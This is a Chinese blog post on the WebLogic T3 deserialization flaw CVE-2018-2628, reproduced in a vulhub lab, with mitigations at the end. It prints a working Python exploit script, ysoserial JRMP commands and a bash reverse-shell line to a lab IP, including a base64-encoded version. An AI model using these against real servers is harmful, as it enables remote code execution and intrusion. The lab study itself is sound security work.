Weblogic T3反序列化漏洞(CVE-2018-2628)
  Q68mX1P3tSGz 2024年05月18日 51 0

前言

WebLogic Server 是一个企业级的应用服务器,由Oracle公司开发,支持完整的Java EE规范,包括EJB、JSP、Servlet、JMS等,适合大型分布式应用和高负载场景。

T3协议概述

T3协议(Two-Tier TCP/IP Protocol),是WebLogic中的一种专有协议,建立在TCP/IP协议之上,它是WebLogic的默认通信协议,主要用于在客户端和服务器之间进行通信。

在Weblogic中RMI通信的实现是使用T3协议(通常RMI通信使用的是JRMP协议),并且在T3的传输过程中,和RMI一样,会进行序列化和反序列化的操作。所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。

在T3的这个协议里面包含请求包头和请求的主体这两部分内容。

请求包头(handshake):它负责定义了数据包的基本结构和传输协议的版本信息。

使用Python发送一个请求包的头:

import socket

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

Wireshark对它进行抓包:

image

这个请求包头表明使用的是T3协议的12.2.3版本,而响应包头中HELO后面的内容则是被连接的weblogic的版本号12.2.1.3.0。

请求包头之后是请求的主体,其中传输的都是序列化数据。

以这个PoC脚本( https://www.exploit-db.com/exploits/44553 )为例:

image

第三个数据包中包括长度(占4个字节),和在反序列化数据之前的T3协议头,以及以ac ed 00 05开头的这些序列化的数据。所以只要把其中一部分替换成我们的序列化数据就可以达到利用的目的。本质就是把ysoserial生成的Payload变成T3协议里的数据格式。

除了由 Exploit Database 提供的利用脚本,还有国内其他师傅写的脚本:

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

原理都是一样的,把生成的Payload替换掉原来的序列化的部分,但要保证T3协议格式仍然正确。

造成反序列漏洞的原因一般都是readObject方法在进行反序列化操作出现了问题,T3协议的反序列漏洞也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

借一张其他师傅博客的图:

image

中间的调用过程先省略,导致的漏洞产生的直接原因就是在resolveClass方法中也没做任何的校验。

这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话,就意味着它会获取任意的类的Class对象,这就有了可乘之机,可以轻易获取我们恶意的类的Class对象,从而造成反序列漏洞。

漏洞复现

影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

环境搭建:使用 vulhub 搭建

cd /vulhub/weblogic/CVE-2018-2628
docker compose up -d

通过nmap可以探测Weblogic的T3协议是否启用,以及版本号:

image

利用 ysoserial 的攻击流程都大同小异,首先使用JRMPListener开启一个JRMP服务监听,利用链这里选择CC1链。

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

利用 exp 脚本(python2脚本,python3运行报错),向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

# 192.168.88.150 是靶机IP,7001是Weblogic端口

exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:

image

执行docker compose exec weblogic bash进入容器中,可见文件已成功创建:

image

除了RCE,还有反弹shell都是类似的操作。

首先,在kali中通过 nc 监听本地端口:

nc -lvvp 12345

接着准备反弹shell的代码:

bash -i >& /dev/tcp/192.168.88.128/12345 0>&1

由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用:

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

本地开启JRMP监听,监听本地2333端口,利用链依然使用CC1链:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

利用 exp 脚本,向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

exp 脚本执行完成后,反弹shell成功:

image

修复措施

  • 关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。

  • 更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。

  • 更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。

参考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞复现
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2024年05月18日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   22   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   31   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   42   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   34   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   28   0   0 网络安全
  owpmXY9hzjPv   29天前   29   0   0 网络安全
  owpmXY9hzjPv   29天前   30   0   0 网络安全
Q68mX1P3tSGz